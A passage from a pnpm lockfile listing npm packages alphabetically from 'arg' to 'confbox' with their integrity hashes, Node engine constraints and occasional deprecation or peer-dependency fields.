sha512-ncSWAawFhKMJDTdoAeOV+jyW1VCMj5QIAwULIBV0SSR7B/RLPPEQiknKcg/RIIZlUQrxELpsxMiTUoAQ4sIUyg==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n    deprecated: This package is no longer supported.\n\n  arg@4.1.3:\n    resolution: {integrity: sha512-58S9QDqG0Xx27YwPSt9fJxivjYl432YCwfDMfZ+71RAqUrZef7LrKQZ3LHLOwCS4FLNBplP533Zx895SeOCHvA==}\n\n  argparse@1.0.10:\n    resolution: {integrity: sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==}\n\n  argparse@2.0.1:\n    resolution: {integrity: sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==}\n\n  array-buffer-byte-length@1.0.2:\n    resolution: {integrity: sha512-LHE+8BuR7RYGDKvnrmcuSq3tDcKv9OFEXQt/HpbZhY7V6h0zlUXutnAD82GiFx9rdieCMjkvtcsPqBwgUl1Iiw==}\n    engines: {node: '>= 0.4'}\n\n  array-differ@4.0.0:\n    resolution: {integrity: sha512-Q6VPTLMsmXZ47ENG3V+wQyZS1ZxXMxFyYzA+Z/GMrJ6yIutAIEf9wTyroTzmGjNfox9/h3GdGBCVh43GVFx4Uw==}\n    engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0}\n\n  array-flatten@1.1.1:\n    resolution: {integrity: sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==}\n\n  array-union@2.1.0:\n    resolution: {integrity: sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==}\n    engines: {node: '>=8'}\n\n  array-union@3.0.1:\n    resolution: {integrity: sha512-1OvF9IbWwaeiM9VhzYXVQacMibxpXOMYVNIvMtKRyX9SImBXpKcFr8XvFDeEslCyuH/t6KRt7HEO94AlP8Iatw==}\n    engines: {node: '>=12'}\n\n  asap@2.0.6:\n    resolution: {integrity: sha512-BSHWgDSAiKs50o2Re8ppvp3seVHXSRM44cdSsT9FfNEUUZLOGWVCsiWaRPWM1Znn+mqZ1OfVZ3z3DWEzSp7hRA==}\n\n  assert-file@1.0.0:\n    resolution: {integrity: sha512-gDsdl3gbOmR23TBOhJKf7go+o6rjO0jEXFLN9jht+AnFGbwSm31M3K4QyQ5lvq4FxqGSQqaxChAKPhpJMLfzDg==}\n    engines: {node: '>=8.0.0'}\n\n  assertion-error@2.0.1:\n    resolution: {integrity: sha512-Izi8RQcffqCeNVgFigKli1ssklIbpHnCYc6AknXGYoB6grJqyeby7jv12JUQgmTAnIDnbck1uxksT4dzN3PWBA==}\n    engines: {node: '>=12'}\n\n  ast-kit@2.2.0:\n    resolution: {integrity: sha512-m1Q/RaVOnTp9JxPX+F+Zn7IcLYMzM8kZofDImfsKZd8MbR+ikdOzTeztStWqfrqIxZnYWryyI9ePm3NGjnZgGw==}\n    engines: {node: '>=20.19.0'}\n\n  ast-v8-to-istanbul@0.3.8:\n    resolution: {integrity: sha512-szgSZqUxI5T8mLKvS7WTjF9is+MVbOeLADU73IseOcrqhxr/VAvy6wfoVE39KnKzA7JRhjF5eUagNlHwvZPlKQ==}\n\n  async@3.2.6:\n    resolution: {integrity: sha512-htCUDlxyyCLMgaM3xXg0C0LW2xqfuQ6p05pCEIsXuyQ+a1koYKTuBMzRNwmybfLgvJDMd0r1LTn4+E0Ti6C2AA==}\n\n  asynckit@0.4.0:\n    resolution: {integrity: sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==}\n\n  available-typed-arrays@1.0.7:\n    resolution: {integrity: sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==}\n    engines: {node: '>= 0.4'}\n\n  await-event@2.1.0:\n    resolution: {integrity: sha512-hADm2dFnyugZnfFoJ0Oug2T9xAT2gFdvxZXXnWUOFsHL+VTCvj4Q7oBOinUYzvAFeAD5HN1YSrP78iS3/SQ7iQ==}\n\n  await-first@1.0.0:\n    resolution: {integrity: sha512-SK20HicVu6lXvNM0nS1flurrs4/1NdhvccvEn52Gf+vpERZnnkKBnJvAQDsYkzJnsHs1bRNNKEiobEet7a/0TA==}\n    engines: {node: '>= 6.0.0'}\n\n  aws-ssl-profiles@1.1.2:\n    resolution: {integrity: sha512-NZKeq9AfyQvEeNlN0zSYAaWrmBffJh3IELMZfRpJVWgrpEbtEpnjvzqBPf+mxoI287JohRDoa+/nsfqqiZmF6g==}\n    engines: {node: '>= 6.0.0'}\n\n  axios@1.13.5:\n    resolution: {integrity: sha512-cz4ur7Vb0xS4/KUN0tPWe44eqxrIu31me+fbang3ijiNscE129POzipJJA6zniq2C/Z6sJCjMimjS8Lc/GAs8Q==}\n\n  bail@2.0.2:\n    resolution: {integrity: sha512-0xO6mYd7JB2YesxDKplafRpsiOzPt9V02ddPCLbY1xYGPOX24NTyN50qnUxgCPcSoYMhKpAuBTjQoRZCAkUDRw==}\n\n  balanced-match@1.0.2:\n    resolution: {integrity: sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==}\n\n  base64-js@1.5.1:\n    resolution: {integrity: sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==}\n\n  beautify-benchmark@0.2.4:\n    resolution: {integrity: sha512-LZiZ6wl0Rs+A4Xv9Vn9W5GOVrBmPlWLP/ns5GszjRCoyQ5gFyLoJ8bCJuVS8fo88Ww+TWF/8UrGEHYnypgp3dQ==}\n\n  benchmark@2.1.4:\n    resolution: {integrity: sha512-l9MlfN4M1K/H2fbhfMy3B7vJd6AGKJVQn2h6Sg/Yx+KckoUA7ewS5Vv6TjSq18ooE1kS9hhAlQRH3AkXIh/aOQ==}\n\n  bin-links@2.3.0:\n    resolution: {integrity: sha512-JzrOLHLwX2zMqKdyYZjkDgQGT+kHDkIhv2/IK2lJ00qLxV4TmFoHi8drDBb6H5Zrz1YfgHkai4e2MGPqnoUhqA==}\n    engines: {node: '>=10'}\n\n  bin-links@4.0.4:\n    resolution: {integrity: sha512-cMtq4W5ZsEwcutJrVId+a/tjt8GSbS+h0oNkdl6+6rBuEv8Ot33Bevj5KPm40t309zuhVic8NjpuL42QCiJWWA==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  binary-extensions@2.3.0:\n    resolution: {integrity: sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==}\n    engines: {node: '>=8'}\n\n  binary-mirror-config@1.41.0:\n    resolution: {integrity: sha512-ZiIhR1s6Sv1Fv6qCQqfPjx0Cj86BgFlhqNxZgHkQOWcxJcMbO3mj1iqsuVjowYqJqeZL8e52+IEv7IRnSX6T6w==}\n\n  birpc@2.8.0:\n    resolution: {integrity: sha512-Bz2a4qD/5GRhiHSwj30c/8kC8QGj12nNDwz3D4ErQ4Xhy35dsSDvF+RA/tWpjyU0pdGtSDiEk6B5fBGE1qNVhw==}\n\n  birpc@4.0.0:\n    resolution: {integrity: sha512-LShSxJP0KTmd101b6DRyGBj57LZxSDYWKitQNW/mi8GRMvZb078Uf9+pveax1DrVL89vm7mWe+TovdI/UDOuPw==}\n\n  black-hole-stream@0.0.1:\n    resolution: {integrity: sha512-FQSWhFQZmddoqWkwPMFeR5hJo9waZE796MuO7b0poStaPrm0Qr2em9FT4/TF1+0rOA1dRFabX+88rdX8YHxDTA==}\n\n  body-parser@1.20.3:\n    resolution: {integrity: sha512-7rAxByjUMqQ3/bHJy7D6OGXvx/MMc4IqBn/X0fcM1QUcAItpZrBEYhWGem+tzXH90c+G01ypMcYJBO9Y30203g==}\n    engines: {node: '>= 0.8', npm: 1.2.8000 || >= 1.4.16}\n\n  body-parser@2.2.2:\n    resolution: {integrity: sha512-oP5VkATKlNwcgvxi0vM0p/D3n2C3EReYVX+DNYs5TjZFn/oQt2j+4sVJtSMr18pdRr8wjTcBl6LoV+FUwzPmNA==}\n    engines: {node: '>=18'}\n\n  boolbase@1.0.0:\n    resolution: {integrity: sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==}\n\n  brace-expansion@1.1.12:\n    resolution: {integrity: sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==}\n\n  brace-expansion@2.0.2:\n    resolution: {integrity: sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==}\n\n  braces@3.0.3:\n    resolution: {integrity: sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==}\n    engines: {node: '>=8'}\n\n  browser-stdout@1.3.1:\n    resolution: {integrity: sha512-qhAVI1+Av2X7qelOfAIYwXONood6XlZE/fXaBSmW/T5SzLAmCgzi+eiWE7fUvbHaeNBQH13UftjpXxsfLkMpgw==}\n\n  buffer-from@1.1.2:\n    resolution: {integrity: sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==}\n\n  buffer@5.7.1:\n    resolution: {integrity: sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==}\n\n  bug-versions@1.117.0:\n    resolution: {integrity: sha512-c2F2PKelgC9zSy+AwdD6w/HQzdfofyZ7641jYkTxmIYxOgWDYPlVlEYa/puE/11K4pzQfxviI0loVyo1YuZVNQ==}\n\n  builtins@1.0.3:\n    resolution: {integrity: sha512-uYBjakWipfaO/bXI7E8rq6kpwHRZK5cNYrUv2OzZSI/FvmdMyXJ2tG9dKcjEC5YHmHpUAwsargWIZNWdxb/bnQ==}\n\n  busboy@1.6.0:\n    resolution: {integrity: sha512-8SFQbg/0hQ9xy3UNTB0YEnsNBbWfhf7RtnzpL7TkBiTBRfrQ9Fxcnz7VJsleJpyp6rVLvXiuORqjlHi5q+PYuA==}\n    engines: {node: '>=10.16.0'}\n\n  byte@2.0.0:\n    resolution: {integrity: sha512-rNiK8YxOMvquToaBubKxA10sjRIZ/taDqtc/1jLQA4X7aNDlA1XGx4Ciml3YxL8DskFz1XX3WFskSp0peKYSKg==}\n    engines: {node: '>= 8.0.0'}\n\n  bytes@3.1.2:\n    resolution: {integrity: sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==}\n    engines: {node: '>= 0.8'}\n\n  c8@10.1.3:\n    resolution: {integrity: sha512-LvcyrOAaOnrrlMpW22n690PUvxiq4Uf9WMhQwNJ9vgagkL/ph1+D4uvjvDA5XCbykrc0sx+ay6pVi9YZ1GnhyA==}\n    engines: {node: '>=18'}\n    hasBin: true\n    peerDependencies:\n      monocart-coverage-reports: ^2\n    peerDependenciesMeta:\n      monocart-coverage-reports:\n        optional: true\n\n  cac@6.7.14:\n    resolution: {integrity: sha512-b6Ilus+c3RrdDk+JhLKUAQfzzgLEPy6wcXqS7f/xe1EETvsDP6GORG7SFuOs6cID5YkqchW/LXZbX5bc8j7ZcQ==}\n    engines: {node: '>=8'}\n\n  cacache@16.1.3:\n    resolution: {integrity: sha512-/+Emcj9DAXxX4cwlLmRI9c166RuL3w30zp4R7Joiv2cQTtTtA+jeuCAjH3ZlGnYS3tKENSrKhAzVVP9GVyzeYQ==}\n    engines: {node: ^12.13.0 || ^14.15.0 || >=16.0.0}\n\n  cacache@17.1.4:\n    resolution: {integrity: sha512-/aJwG2l3ZMJ1xNAnqbMpA40of9dj/pIH3QfiuQSqjfPJF747VR0J/bHn+/KdNnHKc6XQcWt/AfRSBft82W1d2A==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  cache-content-type@2.1.0:\n    resolution: {integrity: sha512-cunyfzwf3p86sXOE3PyWFWlPtIb21DyLV9KAq1HhrqLupxx+mtLrqXdEe9vxUmLpTLk/jP/Zf4YyAlSoAbEVEg==}\n    engines: {node: '>= 18.0.0'}\n\n  cacheable-lookup@6.1.0:\n    resolution: {integrity: sha512-KJ/Dmo1lDDhmW2XDPMo+9oiy/CeqosPguPCrgcVzKyZrL6pM1gU2GmPY/xo6OQPTUaA/c0kwHuywB4E6nmT9ww==}\n    engines: {node: '>=10.6.0'}\n\n  call-bind-apply-helpers@1.0.2:\n    resolution: {integrity: sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==}\n    engines: {node: '>= 0.4'}\n\n  call-bind@1.0.8:\n    resolution: {integrity: sha512-oKlSFMcMwpUg2ednkhQ454wfWiU/ul3CkJe/PEHcTKuiX6RpbehUiFMXu13HalGZxfUwCQzZG747YXBn1im9ww==}\n    engines: {node: '>= 0.4'}\n\n  call-bound@1.0.4:\n    resolution: {integrity: sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==}\n    engines: {node: '>= 0.4'}\n\n  camel-case@3.0.0:\n    resolution: {integrity: sha512-+MbKztAYHXPr1jNTSKQF52VpcFjwY5RkR7fxksV8Doo4KAYc5Fl4UJRgthBbTmEx8C54DqahhbLJkDwjI3PI/w==}\n\n  camelcase@5.3.1:\n    resolution: {integrity: sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==}\n    engines: {node: '>=6'}\n\n  camelcase@6.3.0:\n    resolution: {integrity: sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==}\n    engines: {node: '>=10'}\n\n  camelcase@9.0.0:\n    resolution: {integrity: sha512-TO9xmyXTZ9HUHI8M1OnvExxYB0eYVS/1e5s7IDMTAoIcwUd+aNcFODs6Xk83mobk0velyHFQgA1yIrvYc6wclw==}\n    engines: {node: '>=20'}\n\n  ccount@2.0.1:\n    resolution: {integrity: sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg==}\n\n  cfork@2.0.0:\n    resolution: {integrity: sha512-J7u2GSj77TRvJmEfBL4ln5TROEka6X5tEOKF6qe6kritcltmrbmeiP2p9A2EA1dGOxR5UX7H804ByzIZAM+Nqg==}\n    engines: {node: '>= 18.19.0'}\n\n  chai@6.2.1:\n    resolution: {integrity: sha512-p4Z49OGG5W/WBCPSS/dH3jQ73kD6tiMmUM+bckNK6Jr5JHMG3k9bg/BvKR8lKmtVBKmOiuVaV2ws8s9oSbwysg==}\n    engines: {node: '>=18'}\n\n  chalk@2.4.2:\n    resolution: {integrity: sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==}\n    engines: {node: '>=4'}\n\n  chalk@3.0.0:\n    resolution: {integrity: sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==}\n    engines: {node: '>=8'}\n\n  chalk@4.1.2:\n    resolution: {integrity: sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==}\n    engines: {node: '>=10'}\n\n  chalk@5.6.2:\n    resolution: {integrity: sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA==}\n    engines: {node: ^12.17.0 || ^14.13 || >=16.0.0}\n\n  chan@0.6.1:\n    resolution: {integrity: sha512-/TdBP2UhbBmw7qnqkzo9Mk4rzvwRv4dlNPXFerqWy90T8oBspKagJNZxrDbExKHhx9uXXHjo3f9mHgs9iKO3nQ==}\n\n  change-case@3.1.0:\n    resolution: {integrity: sha512-2AZp7uJZbYEzRPsFoa+ijKdvp9zsrnnt6+yFokfwEpeJm0xuJDVoxiRCAaTzyJND8GJkofo2IcKWaUZ/OECVzw==}\n\n  character-entities-html4@2.1.0:\n    resolution: {integrity: sha512-1v7fgQRj6hnSwFpq1Eu0ynr/CDEw0rXo2B61qXrLNdHZmPKgb7fqS1a2JwF0rISo9q77jDI8VMEHoApn8qDoZA==}\n\n  character-entities-legacy@3.0.0:\n    resolution: {integrity: sha512-RpPp0asT/6ufRm//AJVwpViZbGM/MkjQFxJccQRHmISF/22NBtsHqAWmL+/pmkPWoIUJdWyeVleTl1wydHATVQ==}\n\n  character-entities@2.0.2:\n    resolution: {integrity: sha512-shx7oQ0Awen/BRIdkjkvz54PnEEI/EjwXDSIZp86/KKdbafHh1Df/RYGBhn4hbe2+uKC9FnT5UCEdyPz3ai9hQ==}\n\n  cheerio-select@2.1.0:\n    resolution: {integrity: sha512-9v9kG0LvzrlcungtnJtpGNxY+fzECQKhK4EGJX2vByejiMX84MFNQw4UxPJl3bFbTMw+Dfs37XaIkCwTZfLh4g==}\n\n  cheerio@1.1.2:\n    resolution: {integrity: sha512-IkxPpb5rS/d1IiLbHMgfPuS0FgiWTtFIm/Nj+2woXDLTZ7fOT2eqzgYbdMlLweqlHbsZjxEChoVK+7iph7jyQg==}\n    engines: {node: '>=20.18.1'}\n\n  chokidar@3.6.0:\n    resolution: {integrity: sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==}\n    engines: {node: '>= 8.10.0'}\n\n  chokidar@4.0.3:\n    resolution: {integrity: sha512-Qgzu8kfBvo+cA4962jnP1KkS6Dop5NS6g7R5LFYJr4b8Ub94PPQXUksCw9PvXoeXPRRddRNC5C1JQUR2SMGtnA==}\n    engines: {node: '>= 14.16.0'}\n\n  chownr@2.0.0:\n    resolution: {integrity: sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==}\n    engines: {node: '>=10'}\n\n  ci-info@4.3.1:\n    resolution: {integrity: sha512-Wdy2Igu8OcBpI2pZePZ5oWjPC38tmDVx5WKUXKwlLYkA0ozo85sLsLvkBbBn/sZaSCMFOGZJ14fvW9t5/d7kdA==}\n    engines: {node: '>=8'}\n\n  ci-parallel-vars@1.0.1:\n    resolution: {integrity: sha512-uvzpYrpmidaoxvIQHM+rKSrigjOe9feHYbw4uOI2gdfe1C3xIlxO+kVXq83WQWNniTf8bAxVpy+cQeFQsMERKg==}\n\n  circular-json-for-egg@1.0.0:\n    resolution: {integrity: sha512-BzMR1dg0+YqcFoMETHq0gFeQNNKliXI1Oe+C0nx/4npLaohsR7/Oj3UFht65MLwF7zs6x13gOr+f4+JeYni6vw==}\n\n  clean-stack@2.2.0:\n    resolution: {integrity: sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==}\n    engines: {node: '>=6'}\n\n  clean-stack@3.0.1:\n    resolution: {integrity: sha512-lR9wNiMRcVQjSB3a7xXGLuz4cr4wJuuXlaAEbRutGowQTmlp7R72/DOgN21e8jdwblMWl9UOJMJXarX94pzKdg==}\n    engines: {node: '>=10'}\n\n  cli-cursor@3.1.0:\n    resolution: {integrity: sha512-I/zHAwsKf9FqGoXM4WWRACob9+SNukZTd94DWF57E4toouRulbCxcUh6RKUEOQlYTHJnzkPMySvPNaaSLNfLZw==}\n    engines: {node: '>=8'}\n\n  cli-cursor@5.0.0:\n    resolution: {integrity: sha512-aCj4O5wKyszjMmDT4tZj93kxyydN/K5zPWSCe6/0AV/AA1pqe5ZBIw0a2ZfPQV7lL5/yb5HsUreJ6UFAF1tEQw==}\n    engines: {node: '>=18'}\n\n  cli-spinners@2.9.2:\n    resolution: {integrity: sha512-ywqV+5MmyL4E7ybXgKys4DugZbX0FC6LnwrhjuykIjnK9k8OQacQ7axGKnjDXWNhns0xot3bZI5h55H8yo9cJg==}\n    engines: {node: '>=6'}\n\n  cli-truncate@5.1.1:\n    resolution: {integrity: sha512-SroPvNHxUnk+vIW/dOSfNqdy1sPEFkrTk6TUtqLCnBlo3N7TNYYkzzN7uSD6+jVjrdO4+p8nH7JzH6cIvUem6A==}\n    engines: {node: '>=20'}\n\n  cliui@5.0.0:\n    resolution: {integrity: sha512-PYeGSEmmHM6zvoef2w8TPzlrnNpXIjTipYK780YswmIP9vjxmd6Y2a3CB2Ks6/AU8NHjZugXvo8w3oWM2qnwXA==}\n\n  cliui@8.0.1:\n    resolution: {integrity: sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==}\n    engines: {node: '>=12'}\n\n  clone@1.0.4:\n    resolution: {integrity: sha512-JQHZ2QMW6l3aH/j6xCqQThY/9OH4D/9ls34cgkUBiEeocRTU04tHfKPBsUK1PqZCUQM7GiA0IIXJSuXHI64Kbg==}\n    engines: {node: '>=0.8'}\n\n  cluster-client@3.7.0:\n    resolution: {integrity: sha512-n0pLGPWlAjaGDJrLKTenjF1qoHbDjuYFlvX4UBoWCt9NjUTZGQhfNafF6Gw4Rj7oJqqdBGrdiIdHSvtOMQX5AA==}\n    engines: {node: '>=14.0.0'}\n\n  cluster-key-slot@1.1.2:\n    resolution: {integrity: sha512-RMr0FhtfXemyinomL4hrWcYJxmX6deFdCxpJzhDttxgO1+bcCnkk+9drydLVDmAMG7NE6aN/fl4F7ucU/90gAA==}\n    engines: {node: '>=0.10.0'}\n\n  cluster-reload@2.0.0:\n    resolution: {integrity: sha512-B3QAtctNWehJgEFACdMxjhgWQtNeOjuVzHePjsKlo4ND0LSqOOsRVIEYj3LC+TzzeAJnzDdapBFuQ9Ol8YocFw==}\n    engines: {node: '>= 18.19.0'}\n\n  cmd-extension@1.0.2:\n    resolution: {integrity: sha512-iWDjmP8kvsMdBmLTHxFaqXikO8EdFRDfim7k6vUHglY/2xJ5jLrPsnQGijdfp4U+sr/BeecG0wKm02dSIAeQ1g==}\n    engines: {node: '>=10'}\n\n  cmd-shim@4.1.0:\n    resolution: {integrity: sha512-lb9L7EM4I/ZRVuljLPEtUJOP+xiQVknZ4ZMpMgEp4JzNldPb27HU03hi6K1/6CoIuit/Zm/LQXySErFeXxDprw==}\n    engines: {node: '>=10'}\n\n  cmd-shim@6.0.3:\n    resolution: {integrity: sha512-FMabTRlc5t5zjdenF6mS0MBeFZm0XqHqeOkcskKFb/LYCcRQ5fVgLOHVc4Lq9CqABd9zhjwPjMBCJvMCziSVtA==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  co-body@6.2.0:\n    resolution: {integrity: sha512-Kbpv2Yd1NdL1V/V4cwLVxraHDV6K8ayohr2rmH0J87Er8+zJjcTa6dAn9QMPC9CRgU8+aNajKbSf1TzDB1yKPA==}\n    engines: {node: '>=8.0.0'}\n\n  co-busboy@2.0.2:\n    resolution: {integrity: sha512-xntc6PdplMQ9M92T5aKWRu8OBh4CbQcLHPnf2K3c+rD2xhAJcIjC5liblUquxDGTErsnHadMOsCcd6xhnpPAFA==}\n    engines: {node: '>= 14.0.0'}\n\n  co@4.6.0:\n    resolution: {integrity: sha512-QVb0dM5HvG+uaxitm8wONl7jltx8dqhfU33DcqtOZcLSVIKSDDLDi7+0LbAKiyI8hD9u42m2YxXSkMGWThaecQ==}\n    engines: {iojs: '>= 1.0.0', node: '>= 0.12.0'}\n\n  coffee@5.5.1:\n    resolution: {integrity: sha512-ZKt9b/Iq0jhe7tYpDMXJggx8l/+YIcQFi2C+LvJRQ7lUSJnzayir1BGbsoHELKKyV+zevWMCsfmGAI1fREyRbw==}\n    engines: {node: '>= 6.0.0'}\n\n  color-convert@1.9.3:\n    resolution: {integrity: sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==}\n\n  color-convert@2.0.1:\n    resolution: {integrity: sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==}\n    engines: {node: '>=7.0.0'}\n\n  color-name@1.1.3:\n    resolution: {integrity: sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==}\n\n  color-name@1.1.4:\n    resolution: {integrity: sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==}\n\n  color-support@1.1.3:\n    resolution: {integrity: sha512-qiBjkpbMLO/HL68y+lh4q0/O1MZFj2RX6X/KmMa3+gJD3z+WwI1ZzDHysvqHGS3mP6mznPckpXmw1nI9cJjyRg==}\n    hasBin: true\n\n  colorette@2.0.20:\n    resolution: {integrity: sha512-IfEDxwoWIjkeXL1eXcDiow4UbKjhLdq6/EuSVR9GMN7KVH3r9gQ83e73hsz1Nd1T3ijd5xv1wcWRYO+D6kCI2w==}\n\n  combined-stream@1.0.8:\n    resolution: {integrity: sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==}\n    engines: {node: '>= 0.8'}\n\n  comma-separated-tokens@2.0.3:\n    resolution: {integrity: sha512-Fu4hJdvzeylCfQPp9SGWidpzrMs7tTrlu6Vb8XGaRGck8QSNZJJp538Wrb60Lax4fPwR64ViY468OIUTbRlGZg==}\n\n  commander@10.0.1:\n    resolution: {integrity: sha512-y4Mg2tXshplEbSGzx7amzPwKKOCGuoSRP/CjEdwwk0FOGlUbq6lKuoyDZTNZkmxHdJtp54hdfY/JUrdL7Xfdug==}\n    engines: {node: '>=14'}\n\n  commander@14.0.2:\n    resolution: {integrity: sha512-TywoWNNRbhoD0BXs1P3ZEScW8W5iKrnbithIl0YH+uCmBd0QpPOA8yc82DS3BIE5Ma6FnBVUsJ7wVUDz4dvOWQ==}\n    engines: {node: '>=20'}\n\n  commander@2.20.3:\n    resolution: {integrity: sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==}\n\n  commander@5.1.0:\n    resolution: {integrity: sha512-P0CysNDQ7rtVw4QIQtm+MRxV66vKFSvlsQvGYXZWR3qFU0jlMKHZZZgw8e+8DSah4UDKMqnknRDQz+xuQXQ/Zg==}\n    engines: {node: '>= 6'}\n\n  common-ancestor-path@1.0.1:\n    resolution: {integrity: sha512-L3sHRo1pXXEqX8VU28kfgUY+YGsk09hPqZiZmLacNib6XNTCM8ubYeT7ryXQw8asB1sKgcU5lkB7ONug08aB8w==}\n\n  common-bin@2.9.2:\n    resolution: {integrity: sha512-fw6YBX8dr4wgMCHqcOR5eIqWZxoZa6+0JAiqjZuOZFCh/pz9hW6EY2EGFc3QpHwp/DlLuw/du/Sr2InhrfAYSQ==}\n    engines: {node: '>= 6.0.0'}\n\n  common-tags@1.8.2:\n    resolution: {integrity: sha512-gk/Z852D2Wtb//0I+kRFNKKE9dIIVirjoqPoA1wJU+XePVXZfGeBpk45+A1rKO4Q43prqWBNY/MiIeRLbPWUaA==}\n    engines: {node: '>=4.0.0'}\n\n  component-emitter@1.3.1:\n    resolution: {integrity: sha512-T0+barUSQRTUQASh8bx02dl+DhF54GtIDY13Y3m9oWTklKbb3Wv974meRpeZ3lp1JpLVECWWNHC4vaG2XHXouQ==}\n\n  concat-map@0.0.1:\n    resolution: {integrity: sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==}\n\n  confbox@0.2.2:\n    resolution: {integrity: 